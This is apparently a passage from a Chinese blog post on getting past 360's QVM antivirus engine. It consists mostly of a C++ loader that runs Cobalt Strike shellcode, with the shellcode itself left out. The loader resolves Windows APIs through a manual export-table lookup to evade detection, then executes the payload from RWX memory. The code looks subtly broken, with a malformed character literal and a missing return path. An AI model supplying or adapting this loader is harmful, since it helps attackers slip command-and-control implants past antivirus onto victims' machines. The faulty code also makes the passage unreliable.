详细信息，自签名

过360的QVM

QVM是360人工智能的一个引擎检测，QVM误报率会比较高一点，360说它是基于一个统计学的算法，类似于特征库？

我们用CS生成一段Shellcode，用以下Loader加载一下：

#include <iostream>
#include <windows.h>
using namespace std;

extern "C" SIZE_T GetKernel32();


int my_strcmp(const char* str1, const char* str2) {
    while (*str1 != '\0' || *str2 != '\0') {
        if (*str1 != *str2) {
            return *str1 - *str2;
        }
        str1++;
        str2++;
    }
    return 0;
}



SIZE_T MyGetProcAddress(
    HMODULE hModule,    // handle to DLL module
    LPCSTR lpProcName   // function name
)
{

    int i = 0;
    PIMAGE_DOS_HEADER pImageDosHeader = NULL;
    PIMAGE_NT_HEADERS pImageNtHeader = NULL;
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;

    pImageDosHeader = (PIMAGE_DOS_HEADER)hModule;
    pImageNtHeader = (PIMAGE_NT_HEADERS)((SIZE_T)hModule + pImageDosHeader->e_lfanew);
    pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)hModule + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* pAddressOfFunction = (DWORD*)(pImageExportDirectory->AddressOfFunctions + (SIZE_T)hModule);
    DWORD* pAddressOfNames = (DWORD*)(pImageExportDirectory->AddressOfNames + (SIZE_T)hModule);
    DWORD dwNumberOfNames = (DWORD)(pImageExportDirectory->NumberOfNames);
    DWORD dwBase = (DWORD)(pImageExportDirectory->Base);

    WORD* pAddressOfNameOrdinals = (WORD*)(pImageExportDirectory->AddressOfNameOrdinals + (SIZE_T)hModule);

    //这个是查一下是按照什么方式（函数名称or函数序号）来查函数地址的 
    DWORD dwName = (SIZE_T)lpProcName;
    for (i = 0; i < (int)dwNumberOfNames; i++)
    {
        char* strFunction = (char*)(pAddressOfNames[i] + (SIZE_T)hModule);
        if (my_strcmp(lpProcName, strFunction) == 0)
        {
            return (pAddressOfFunction[pAddressOfNameOrdinals[i]] + (SIZE_T)hModule);
        }
    }

}

// 定义 CreateProcessA 的函数指针类型（多字节版本）
typedef BOOL(WINAPI* CreateProcessA_t)(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
    );

// 定义 GetProcAddress 的函数指针类型
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName);



typedef LPVOID(WINAPI* p_VirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

int main()
{
    unsigned char hexData[894] = {
    //省略
    };


    HMODULE Kernel32_Base = (HMODULE)GetKernel32();
    char VirtualAlloc_name[0x20] = { 'V','i','r','t','u','a,','l','A','l','l','o','c','\0'};
    char GetProcAddress_name[0x20] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
    char User32[0x20] = { 'u','s','e','r','3','2','.','d','l','l','\0' };

    char CreateProcess_name[0x20] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A','\0' };
    SIZE_T GetProcAddress_Func = MyGetProcAddress((HMODULE)Kernel32_Base, GetProcAddress_name);
    p_VirtualAlloc VirtualAlloc_Func = (p_VirtualAlloc)MyGetProcAddress((HMODULE)Kernel32_Base, VirtualAlloc_name);

    void* exec = VirtualAlloc_Func(0, sizeof(hexData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, hexData, sizeof(hexData));
    ((void(*)())exec)();
    return 0;
}